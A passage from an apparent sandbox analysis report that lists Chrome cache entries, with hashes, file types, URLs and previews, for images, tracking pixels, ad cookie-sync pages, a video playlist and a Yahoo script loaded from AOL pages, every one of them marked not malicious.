SHA1:	C0D31DB0CFBAE4A8F655CFCFC8D92970F205B6D5
SHA-256:	B4E2206F6F70E01ACF2B82AF8A35B76613A8C0C38EBA1368971B685ACDC8E284
SHA-512:	706C071D58CBE62932CDCC8A1F9FD668ECD57200F6EEF4A4F1773A6F0DA93D049D33CA3923446D4CA643633846842DC065948B01CB7F9C97B5537E4285B93E94
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsdS0yOFTkQeyA8vtdrBetw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fastros_wbg.png&client=76f99bdb8f78cd44cc0b&signature=53f3ec69dc0981b98bf4f15eba4afc19210d6c1c
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpLH_...g5M}p...+e.+e...v...+eEw.5l.+e.,f.3k.4k)Dv.5lt...4k#?rKb..7m'Cu.,f./hv..!=q.-g.:o.2jD[..2j./h.0i.8n.2j.-g.-f.1i.9n.1i3L{.;p.0h.4k.,f.1i.3j.1i,Ew'Cu..g./h;R..0h.0i.6l.-e.+e....m..+f.......m........+e.o..m...........5l...,d.3[.w.39S.p..)d.,d.g.#4Y.v...`.-c.l..b..1]::P.f..a.PAG18T.h.....z.A<M.t..0_59RVBE.N3zM5.j..f.TBE.l...b.j..i..2]...........hG=.Q..X#6V./_.X%.c._EA.d.D=L.S,ZCC.W&uK8qJ:.............^..n.u..P1.d..k..[ '5XdF?.k..q.><N,6UaF@.6m................xL7....U(.g..`..7U.Q/7:QK?I.........Vn.........bx...e{..o........1i.?.....2.....PHT.....p .g.^..~..t..Z!._%mI;L?H...dNL....2....<..............}.........../h.......n!=C].........Mo.....{..n......b]MB........f.r..vWKD...]..:..v......0>^uX8.P0cP@.]..y..]..T+...t..[3.v....9tRNS..........$n..t..7.f1...Y.H.....S..._..E.x....dP.......vW...NIDATH...T.I..C....O..(....{..d...&F.P..x.jB;.H/wU.gA.'.-...z...........%!...y......o...`B.....D...].V.....^.....

Chrome Cache Entry: 357

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073026&val=Zk_ErsPQlUO_SnzMurEqlT3b
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 358

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6928), with no line terminators
Category:	downloaded
Size (bytes):	6928
Entropy (8bit):	5.148664224823871
Encrypted:	false
SSDEEP:	192:3eIuADK8v5xzWosWjYugPwNC96vTrWJcXux8jVi:34A+8nWofjYFPwo6vTrq0ueQ
MD5:	0F944C1DE0DC49C3BC3219D06247AECB
SHA1:	240976E15301D96A1E04931306118458EDA475B1
SHA-256:	2B3162B9D90EA855E1D140D94062ED56FB3B8D98193F1F37680F864320D481FC
SHA-512:	7A898E788820E30E86D8047EF15EC2F00B49329274D63D0C9C200DAFDE2774DF43D56E232F706D809454AD51C1BB0070D2460C653CEA4089ABF16D049F290D22
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-image-1.4.0.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-image",[],t):"object"==typeof exports?exports["wafer-image"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-image"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(a){if(r[a])return r[a].exports;var o=r[a]={i:a,l:!1,exports:{}};return e[a].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,a){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:a})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/controller.js":function(e,t,r){"use strict";function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}fu

Chrome Cache Entry: 359

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2532
Entropy (8bit):	7.853709439739501
Encrypted:	false
SSDEEP:	48:YHnrCpFpmvXumB9BU6QTPyODrMOm6BuaJ8lkAk/:YHrCWglPyqrMOm6YaJKl8
MD5:	E416CED55EBB3D5700B8BA1DB47AF2C9
SHA1:	1894FDF6AFA40BA632171F600418A68375F83502
SHA-256:	D6237333BAC7639756FC1709DE1E3F23C31C6C022D548A4D99FE4539B69F87D6
SHA-512:	8C91AE51241CBB827AE99F22318BBD3F46054C99DE8DAD421FF2F2D34962C06E64E7E4F96320FB0F55964C3F1570755AA3902C4C343E3F996B737769D8355534
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...}................................lw}dpv........................................................................................ams..........................................................................".S.........#..'.S. 19..&.+4!2;."+..&.....$.8u.!7..9IP.?...3./8..#R`g.?G>MU)9A.A.. ).$-...Yho1AI.&Dgu\|..Y......Q..)2$5>'7@v..M\c./].1a.(L.R..OIW].:y.6qXgo.?......$......Ucj.-6...FT[AOV......}...G.^kq../....O.4DK....;~Ubh@PX.M.\in......Wel2BJ.......HW_DS[\|.....JY`....'0...anu...my.y...'H.1d.D.\kr.>..B..+S.#<;KR....E..%-...dqx....I.......FU]...LZa-=E........n\|....p}....~......N..F.....J..3h..-....,V....4j5FN...CQY............s.....jw.......;D...#4<....5m....C.q\|....+Mp..........x........u...&/jv{........'>....P..=c.......#2....+Q...ZgmQQ....EtRNS.E..%....^.......n....F..l.;.y.@.....W2b{.i.........../KJ7...M.....q...NIDAT.....\.w...?.t.j......]..\|..7..pI.....#"K 2e........Q....-n....uY.^oz..M...>...9.....O..o..In..

Chrome Cache Entry: 360

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (339)
Category:	dropped
Size (bytes):	5090
Entropy (8bit):	4.943019887401533
Encrypted:	false
SSDEEP:	96:LDAnvsInYolnv0u5nvUMnvl4gnv0FnvkhDnv5Onv+5SnvKvnvmUFnvg0gnvvynvJ:AXt3jZ2gw9KeCY/iWW
MD5:	2D9957B0D38516E6F1CC0924D86C5365
SHA1:	D7F76D7C4B6B8340C66229AAFA08C6668D3A96E5
SHA-256:	002154D887F19A470A8011116E596253F3A2039DD3CAF4D4D02DA7F964C8B17A
SHA-512:	0A4971949D0F0539396C54A3772596BA7EE0AC3868ADB1073E11394F635BB8C1AC6113C18BFAF01BA21D29F83333AA533B228B3ACA582AD7FBE0CDE115590EF1
Malicious:	false
Reputation:	low
Preview:	WEBVTT..00:00.000 --> 00:05.000.https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/0s/match/image.jpeg?akamai_token=exp=1716516962~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/0s/match/image.jpeg~hmac=eff75a72e674fac7c53229135229c895be215d6c82501338faf2443061ecd97f..00:05.000 --> 00:10.000.https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/5s/match/image.jpeg?akamai_token=exp=1716516962~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/5s/match/image.jpeg~hmac=31f2e9cdf9cd27f608dad9d7fd9f3ca57ce94a5d0dac02ac5b136bf5e44857eb..00:10.000 --> 00:15.000.https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/10s/match/image.jpeg?akamai_token=exp=1716516962~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/

Chrome Cache Entry: 361

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	156
Entropy (8bit):	5.145760679283741
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfpxIJikViJS4RKbuviyiFdfxcXl/OxuGQHRRAvn:TMVBd/faVic4subinfSlmSRRAv
MD5:	97D2E3C075A4EA1F775CCE418FDE177D
SHA1:	C52809A609DDC6A93BC3F2D934954AEF1A1CEC7D
SHA-256:	8CD629187427FDB93787D7156BE7A32C391BB2A8DA471BBAA274E806E48B36E7
SHA-512:	C3ECE0C86DDB1B546B503F2DF4309CCE64892113B64B15DAC2C5B7E9AB62D925DD3BA78C1AD2303AEF07D5233A11A0CC94E21A5A4264CE0A1D945F7BA3B34B03
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="4.0"/>.

Chrome Cache Entry: 362

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4314
Entropy (8bit):	7.486643886358984
Encrypted:	false
SSDEEP:	96:/nknmWIPuGc/ACHKH4SHxosNvthKOh09bngwaxYyKO:vknTGgqYSJhjnwaxY1O
MD5:	F0D2BA5C63AB03F3B53158F293F651C7
SHA1:	600E7400BC2DF013B93550486DB7889DCF9D2277
SHA-256:	D0ECAEA4F4B91A678F16B572DBE3C9DC7212D1437A97A31F84AE74C167D5A4DB
SHA-512:	9E58C6DFAC93CED5CA727AAC72D2D24F9A081D5215DE4A2EA4EB911625CCD787A526A79D24EB398862CB970AF10E8BD036F4876C1ED0EF4FEA618671D6C008A6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......<.......Cj....pHYs...#...#.x.?v....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmp:CreateDate="2017-06-09T15:02:42-07:00" xmp:ModifyDate="2018-04-18T11:44:37-07:00" xmp:MetadataDate="2018-04-18T11:44:37-07:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:4ec8550b-d37d-469c-af51-09b33be501a0" xmpMM:DocumentID="adobe:docid:photoshop:8b12166f-90af-ca4c-b9af-5168be9814ee"

Chrome Cache Entry: 363

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	313
Entropy (8bit):	6.726557898411143
Encrypted:	false
SSDEEP:	6:6v/lhPfUOLI3iYWYA6IZzMin/xADXm0jyug4YQubcJsbiJNp+mB8ZJKp:6v/7/LQ7rIhMin/x0X/yugou4Js+JNpn
MD5:	70183929BE02C5218D0A8CD25ED8AAD1
SHA1:	E25AF51E95D56F05F3B5BA4142206B05129C0BB5
SHA-256:	6365F912F470664A95CE5E00B52470A028F7458E1CAA6887383E394EDDC36D98
SHA-512:	04D1B38CDB3F3FF3822CCC7AB43ECC14077222B7CF7FCADC0F624E92C34242CD55F30553D549EFBBB0F3E701A2CC7238A38123666859830577CCB9290163245A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...NPLTEGpL....................................Q..`..t3........H.X.U......R...l...T..L....tRNS.........1..*..[....IDAT..m.[..0...$@.{&.^...~..C.+....8L..3...e..y.m..,,{....^....$..&.kFl.n......Z..I.u..AF.UZ.i.H..tI..%.....,..$so...$..%.d...Z....?s_.o.0...c.....IEND.B`.

Chrome Cache Entry: 364

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 365

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 400x300, components 3
Category:	dropped
Size (bytes):	22774
Entropy (8bit):	7.973858019532618
Encrypted:	false
SSDEEP:	384:qFdAvnxkUpLX//m7Ep/A5XPzllmiGezVlMwTUvR9bQ915fAtTG75VjBT9ph8zfJ:FnFHm4RAZhlmYVl0QH7LcfJ
MD5:	3EC6A815F36402D01F04FEC5D56AC4C8
SHA1:	CBD03D9823A635822D85ACA8C94B855A8FC721C6
SHA-256:	E3671BB8D54273EA7735B0659C4CBFFDCFCA4247443573B5031A9E765245CF91
SHA-512:	F9B7BF0B5AAD63EE7A3EE6791E0FCCCBDD6DDBEA71F40747CBE31DA8763417F2D82C9798CA0BEA2D8AE6A92CF264053F3D4905BAA6DCFDAD1AD16A756B790567
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C........................... ."" ...$(4,$&1'..-=-157:::#+?D?8C49:7...C.......'..'Q6.6QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ......,........................................................................................'...D.k;.0.M......zn.b.K;.a.^)..B...zybF......I(...R..M.xg\...-.....g%jzy..%c...z.qjz..'_-......l.m..p].LBps.j..4..Z.K.k.....n6.4...X...x.Z.=(=8..<..........h&..:s....>.~t]^.:.1.]...nR....Nks$&.q...w.n.\...Dk..y...@.:e.r6'].&.m.XV....K....^.=.....go.<.....Y...m.3V<.n..... .Z.._rT.I......aH$.....\|..W.%e.G..j...<...Y...V:..M.HN..8V..w.5hx..)...C.k=V.....n.o..&.<.#C.4....s..Ss.K....~v...d..^...[...s.w...2m.iIe...J...F....o...V.m/8)n.V.c...'.6....Y.v..Y>.T....~..F..:#.y.ve.7.{...8.[.f'..?..U..-oG.l,.x6..J..SH3.X.GV..V.l{..k.xk:..x.!..u.5.9..:..F.....a.k...{p.......(..I..-.X.m..[...q....\|.Ze...N.=G..........r/...."..d..g\l3..n....D......[...Q..SBH`...c+:.y..UFMww.....\..F~^.L....G..z.-w.

Chrome Cache Entry: 366

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (717)
Category:	downloaded
Size (bytes):	916
Entropy (8bit):	5.4835403696924425
Encrypted:	false
SSDEEP:	12:2ebxkC6DVU4dxhwVVIn2b1GOJlxThUsc/IqQxdeafQszwsm9TuOBIdNcDgXoQL:2e2C6hHfhiVInK/FdcgHfQszwxwdNwg
MD5:	E636F65CD101AF3FB703D81448038469
SHA1:	C20AA378288A58857AD20AF918AD92F336321DB5
SHA-256:	4749C4D64E186F1CC388207986F01759CA04EF122A61E0268982FD00E3AF0704
SHA-512:	DCA0B63FA1509FC21025D816E9BE741DABF49864B8146B42A2F01A23EA20F084BE0C329B4FE1CC8A02382C71A1FE77F7D89A8196FBD9D45C97D256A8817A21D1
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://ce.lijit.com/merge?pid=76&3pid=43a0948a-4d7b-444c-a692-110902d06804&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1"><img src="https://id.rlcdn.com/709996.gif"><img src="https://idpix.media6degrees.com/orbserv/hbpix?pixId=856286&pcv=125&ptid=23&tpuv=00&tpu=83e3dfc0-bf57-5b77-1607-ec5c5fac1794"><img src="https://sync.srv.stackadapt.com/sync?nid=268"><img src="https://aorta.clickagy.com/pixel.gif?ch=4&cm=30c07eaf-f5b5-420f-97bb-3cee9e535967&redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537073026%26val%3D%7Bvisitor_id%7D"><img src="https://rtb.openx.net/sync/dds"><img src="https://sync.ipredictive.com/d/sync/cookie/generic?https://us-u.openx.net/w/1.0/sd?id=537073028&val=${ADELPHIC_CUID}">..</body>.</html>.

Chrome Cache Entry: 367

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (958)
Category:	downloaded
Size (bytes):	13500
Entropy (8bit):	6.055245844491607
Encrypted:	false
SSDEEP:	384:wS2Am0QMCEMvAmJoAmGEXAmY4mAmUWAmvhAmXhAmcAmHEAm9AmXMzAmQw7iAmO:wimrThomJlmWmYWmU3mOm2mxmZm6mckq
MD5:	003078E79607DCA2D201C83BB9FB846C
SHA1:	A904B97E01D294B7885871BB0E3FF09CB0BF8FDA
SHA-256:	AD30321589FCB0BDA6021D9B3D50E637A37DE950EE4DDBABDA2314193E43B371
SHA-512:	057F2AC5BBE7D5B60E19AA1CFA60F114F31D405A46383E10EBB51CFE5B1611BB43070088A950C584F100DFD3186C8EA259BD41B6515248035F2829265787B416
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6s/master.m3u8?fastly_token=NjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w
Preview:	#EXTM3U.#EXT-X-VERSION:4.#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-0",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfNzQ0YjUyZjM0OTFiNjg5ZTg1Zjc2ZjAyN2NjZGUzOTE0NTlhYzE2NzdlMmZjMWJkZGI4YWQ5MDA2YTBiNWY4YQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w".#EXT-X-MEDIA:TYPE=

Chrome Cache Entry: 368

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (29347)
Category:	downloaded
Size (bytes):	38166
Entropy (8bit):	5.423553538008521
Encrypted:	false
SSDEEP:	768:PM/wi2LNKBrMtCGsOpYfkh2qGBS1+dfz4wDQjZvy/1QWwY4RXrqt:PkwiPBotCG9Y/BSIxDQjZK/1QWwY4RXI
MD5:	F3B467741C22676350C7606AA08F18AD
SHA1:	3739D1F1DB2BCABF50BE07D818DC531F94C4E5FE
SHA-256:	AD63E8DDB0358779982D09AD9FCFB5179C9A8C2C1539031B4B953ADC84CE269D
SHA-512:	D9A14D79EAEA6C627D9C8D9B227456F218205841B9D079891BAC939A588B93A3A6D60C00C7B9A8F9E3673EE24699567AD227779E3187EDB870B2E2EC08870894
Malicious:	false
Reputation:	low
URL:	https://contextual.media.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CUBQTSIL&prvid=2034%2C2031%2C2030%2C233%2C2028%2C2027%2C2026%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":153,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"US","zone":"e","coc":"NA"},"cs":"8","lookup":{"rbcn":{"name":"rbcn","time":180,"cookie":"data-r","urls":[{"type":"iframe","url":"https:\/\/secure-assets.rubiconproject.com\/utils\/xapi\/multi-sync.html?p=medianet","eu_url":null}],"pvid":29,"isBl":0,"g":1,"cocs":0},"son":{"name":"son","time":28,"cookie":"data-so","urls":[{"type":"img","url":"https:\/\/sync.go.sonobi.com\/us?https:\/\/contextual.media.net\/cksync.php?cs=8&vsid=<vsid>&type=son&refUrl=<refUrl>&vid=<vid>&axid_e=<axid_e>&ovsid=[UID]","eu_url":null}],"pvid":35,"isBl":0,"g":1,"cocs":0},"con":{"name":"con","time":364,"cookie":"data-co","urls":[{"type":"img","url":"https:\/\/medianet-match.dotomi.com\/match\/bounce\/current?version=1&networkId=57734&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&redir=https%3A%2F%2Fcontex

Chrome Cache Entry: 369

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=29&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503727753&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=27&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=14&ns_st_asq=14&ns_st_sq=14&ns_st_po=3262&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=6738&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3262&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=5&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=3262&ns_st_dap=0&ns_st_et=10619&ns_st_det=5&ns_st_upc=3262&ns_st_dupc=0&ns_st_upa=3262&ns_st_dupa=0&ns_st_lpc=3262&ns_st_dlpc=0&ns_st_lpa=3262&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=13&ns_st_pp=13&ns_st_pa=3262&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 370

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
